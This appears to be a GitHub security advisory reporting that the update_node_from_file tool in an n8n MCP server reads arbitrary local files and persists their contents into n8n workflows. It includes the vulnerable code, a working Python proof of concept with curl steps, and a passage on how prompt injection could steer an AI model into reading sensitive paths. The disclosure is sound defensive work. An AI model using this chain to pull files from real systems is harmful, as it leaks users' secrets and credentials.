Skip to content

[Vulnerability] Arbitrary Local Text File Read via update_node_from_file Persists File Content into n8n Workflow #28

Description

@mcfly-zzh

Arbitrary Local Text File Read via update_node_from_file Persists File Content into n8n Workflow

Summary

The update_node_from_file MCP tool in makafeli/n8n-workflow-builder reads a caller-controlled local filesystem path and writes the file content into an n8n workflow node parameter.

The vulnerable tool is intended to help users load large parameter values such as SQL queries, scripts, or templates from local files. However, the filePath argument is not restricted to a trusted workspace, configured project directory, or user-approved path. Any MCP client that can call this tool can cause the MCP server process to read an arbitrary local text file accessible to that process.

The file content is then persisted into the target n8n workflow through the n8n API. In my local reproduction, the contents of /tmp/n8n_mcp_secret.txt were read by the MCP server, written into a Code node's jsCode parameter, persisted by a real local n8n instance, and then retrieved through the n8n workflow API.

Affected version

Reproduced against:

  • Repository: makafeli/n8n-workflow-builder
  • Package version: 0.11.0
  • MCP serverInfo.name: n8n-workflow-builder
  • MCP serverInfo.version: 0.11.0
  • Entry point tested: build/server.cjs
  • Tool tested: update_node_from_file
  • n8n version used for real-server validation: 2.21.7

Vulnerable code path

The vulnerable tool is registered as:

server.tool(
  "update_node_from_file",
  "Update a node parameter by reading value from a file (ideal for long SQL queries, scripts, templates)",
  {
    workflowId: z.string().describe("Workflow ID"),
    nodeName: z.string().describe("Name of the node to update"),
    parameterName: z.string().describe("Name of the parameter to update (e.g., 'query', 'jsCode', 'htmlTemplate')"),
    filePath: z.string().describe("Path to file containing the parameter value")
  },
  async ({ workflowId, nodeName, parameterName, filePath }) => {
    try {
      // Read value from file
      const fileContent = fs.readFileSync(filePath, 'utf-8');

      // Fetch current workflow
      const getResponse = await n8nApi.get(`/workflows/${workflowId}`);
      const workflow = getResponse.data;

      // Find the node
      const nodeIndex = workflow.nodes.findIndex((n: any) => n.name === nodeName);

      // Update the specific parameter
      if (!workflow.nodes[nodeIndex].parameters) {
        workflow.nodes[nodeIndex].parameters = {};
      }
      workflow.nodes[nodeIndex].parameters[parameterName] = fileContent;

      // Save back
      const response = await n8nApi.put(`/workflows/${workflowId}`, stripWorkflowForUpdate(workflow));

The vulnerable flow is:

MCP client controls filePath
        ↓
update_node_from_file receives filePath
        ↓
fs.readFileSync(filePath, 'utf-8') reads local file
        ↓
file content is assigned to workflow.nodes[nodeIndex].parameters[parameterName]
        ↓
n8nApi.put('/workflows/{workflowId}', ...) sends the modified workflow to n8n
        ↓
the file content is persisted in the n8n workflow

There is no workspace boundary check before reading the file. The tool accepts any path readable by the MCP server process.

Why this is security-relevant

This is a local file read issue in the MCP server.

In a typical MCP setup, the direct caller of the tool may be an MCP-aware agent or coding assistant rather than a human manually entering each argument. If the agent can be influenced through prompt injection or malicious project content, an attacker may be able to cause the tool to read sensitive local files and store their contents in an n8n workflow.

The impact depends on what files are readable by the MCP server process. This affects text-decodable files such as:

  • local configuration files;
  • plaintext application secrets;
  • JSON credential files;
  • source files containing embedded tokens;
  • environment dumps written to disk;
  • other local text files accessible to the MCP server process.

The content can then be retrieved from n8n through the workflow API or through existing workflow read/download functionality.

I am not claiming that this is an unauthenticated remote n8n vulnerability. The issue is that the MCP server exposes a tool that reads unrestricted caller-controlled local paths and persists the file contents into n8n.

PoC

The following PoC uses a real local n8n instance and demonstrates that file content read from the MCP server's local filesystem is persisted into an actual n8n workflow.

1. Start a real local n8n instance

In my test, n8n was running locally on port 5678:

Editor is now accessible via:
http://localhost:5678

The n8n version used in this reproduction was:

Version: 2.21.7

Create an n8n API key from the n8n UI and export it:

export N8N_HOST="http://127.0.0.1:5678/api/v1"
export N8N_API_KEY="<redacted-api-key>"

Verify that the API key works:

curl -sS "$N8N_HOST/workflows" \
  -H "X-N8N-API-KEY: $N8N_API_KEY" | head -c 500
echo

Observed output:

{"data":[],"nextCursor":null}

2. Create a real n8n workflow

Create a workflow with one Code node:

curl -sS -X POST "$N8N_HOST/workflows" \
  -H "X-N8N-API-KEY: $N8N_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "mcp-file-read-poc",
    "nodes": [
      {
        "id": "node1",
        "name": "Code",
        "type": "n8n-nodes-base.code",
        "typeVersion": 2,
        "position": [0, 0],
        "parameters": {
          "jsCode": "return [];"
        }
      }
    ],
    "connections": {},
    "settings": {}
  }' | tee /tmp/n8n_created_workflow.json

Observed output included the following workflow ID:

t5bn95OdLl25Yorn

Export it:

export WF_ID="t5bn95OdLl25Yorn"

3. Create a local file to simulate a secret

cat > /tmp/n8n_mcp_secret.txt <<'EOF'
N8N_MCP_LOCAL_SECRET_PROOF_123456
fake_api_key=sk-local-proof-value
EOF

cat /tmp/n8n_mcp_secret.txt

Observed output:

N8N_MCP_LOCAL_SECRET_PROOF_123456
fake_api_key=sk-local-proof-value

4. Run the MCP PoC

The vulnerable MCP server entry point is build/server.cjs.

cat > /tmp/n8n_mcp_real_n8n_poc.py <<'PY'
#!/usr/bin/env python3
import json
import os
import select
import subprocess
import time

SERVER_BIN = "/home/exouser/Desktop/mcp_50_starred_v3/makafeli__n8n-workflow-builder/build/server.cjs"
VICTIM_FILE = "/tmp/n8n_mcp_secret.txt"
WORKFLOW_ID = os.environ["WF_ID"]

def send(proc, msg):
    proc.stdin.write((json.dumps(msg) + "\n").encode())
    proc.stdin.flush()

def read_until_id(proc, wanted_id, timeout=20.0):
    deadline = time.time() + timeout
    while time.time() < deadline:
        r, _, _ = select.select([proc.stdout], [], [], 0.3)
        if not r:
            continue
        line = proc.stdout.readline()
        if not line:
            break
        text = line.decode(errors="replace").strip()
        print("[mcp-out]", text)
        try:
            obj = json.loads(text)
            if obj.get("id") == wanted_id:
                return obj
        except Exception:
            pass
    return None

def main():
    env = os.environ.copy()
    env["N8N_HOST"] = "http://127.0.0.1:5678/api/v1"
    env["N8N_API_KEY"] = os.environ["N8N_API_KEY"]

    proc = subprocess.Popen(
        ["node", SERVER_BIN],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        env=env,
        bufsize=0,
    )

    send(proc, {
        "jsonrpc": "2.0",
        "id": 1,
        "method": "initialize",
        "params": {
            "protocolVersion": "2024-11-05",
            "capabilities": {},
            "clientInfo": {
                "name": "n8n-real-server-poc",
                "version": "0.0.1"
            }
        }
    })
    read_until_id(proc, 1)

    send(proc, {
        "jsonrpc": "2.0",
        "method": "notifications/initialized"
    })

    send(proc, {
        "jsonrpc": "2.0",
        "id": 2,
        "method": "tools/call",
        "params": {
            "name": "update_node_from_file",
            "arguments": {
                "workflowId": WORKFLOW_ID,
                "nodeName": "Code",
                "parameterName": "jsCode",
                "filePath": VICTIM_FILE
            }
        }
    })

    resp = read_until_id(proc, 2)
    print("[poc] tool response:", json.dumps(resp, indent=2) if resp else None)

    proc.terminate()
    try:
        proc.wait(timeout=3)
    except subprocess.TimeoutExpired:
        proc.kill()

if __name__ == "__main__":
    main()
PY

chmod +x /tmp/n8n_mcp_real_n8n_poc.py
python3 /tmp/n8n_mcp_real_n8n_poc.py

Observed MCP response:

{
  "result": {
    "content": [
      {
        "type": "text",
        "text": "{\n  \"success\": true,\n  \"message\": \"Node 'Code' parameter 'jsCode' updated from file\",\n  \"workflowId\": \"t5bn95OdLl25Yorn\",\n  \"nodeName\": \"Code\",\n  \"parameterName\": \"jsCode\",\n  \"filePath\": \"/tmp/n8n_mcp_secret.txt\",\n  \"contentLength\": 68\n}"
      }
    ]
  },
  "jsonrpc": "2.0",
  "id": 2
}

This shows that the MCP server accepted the caller-controlled local path and read a 68-byte file from disk.

5. Verify that the file content was persisted in real n8n

Read the workflow back from the real n8n API:

curl -sS "$N8N_HOST/workflows/$WF_ID" \
  -H "X-N8N-API-KEY: $N8N_API_KEY" \
  | tee /tmp/n8n_after_update.json

Observed output included the local file content inside the Code node's jsCode parameter:

{
  "id": "t5bn95OdLl25Yorn",
  "name": "mcp-file-read-poc",
  "nodes": [
    {
      "id": "node1",
      "name": "Code",
      "type": "n8n-nodes-base.code",
      "typeVersion": 2,
      "position": [0, 0],
      "parameters": {
        "jsCode": "N8N_MCP_LOCAL_SECRET_PROOF_123456\nfake_api_key=sk-local-proof-value\n"
      }
    }
  ],
  "connections": {},
  "settings": {}
}

Confirm with grep:

grep -n "N8N_MCP_LOCAL_SECRET_PROOF_123456\|fake_api_key" /tmp/n8n_after_update.json

Observed output:

1:{"updatedAt":"2026-05-25T02:11:08.009Z","createdAt":"2026-05-25T02:10:26.204Z","id":"t5bn95OdLl25Yorn","name":"mcp-file-read-poc","description":null,"active":false,"isArchived":false,"nodes":[{"id":"node1","name":"Code","type":"n8n-nodes-base.code","typeVersion":2,"position":[0,0],"parameters":{"jsCode":"N8N_MCP_LOCAL_SECRET_PROOF_123456\nfake_api_key=sk-local-proof-value\n"}}],"connections":{},"settings":{},"staticData":null,"meta":null,"pinData":null,"versionId":"34ae10bb-104e-404b-a123-55ba55fea089","activeVersionId":null,"versionCounter":2,"triggerCount":0,...}

This demonstrates the full chain:

caller-controlled filePath
        ↓
MCP server reads /tmp/n8n_mcp_secret.txt
        ↓
MCP server writes the file content into workflow.nodes[0].parameters.jsCode
        ↓
real n8n persists the modified workflow
        ↓
the file content can be retrieved through the n8n workflow API

Impact

Any MCP client that can call update_node_from_file can cause the MCP server process to read an arbitrary local text file accessible to that process and persist its contents into an n8n workflow.

The impact depends on the deployment and on what files are readable by the MCP server process. In realistic developer or automation environments, this may include plaintext secrets, JSON credential files, application configuration files, source code, or other sensitive local files.

This issue is especially relevant in MCP deployments because tool calls may be selected by an AI assistant. If untrusted content can influence the assistant's tool use, a malicious prompt or project artifact may cause the assistant to call update_node_from_file with a sensitive local path.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions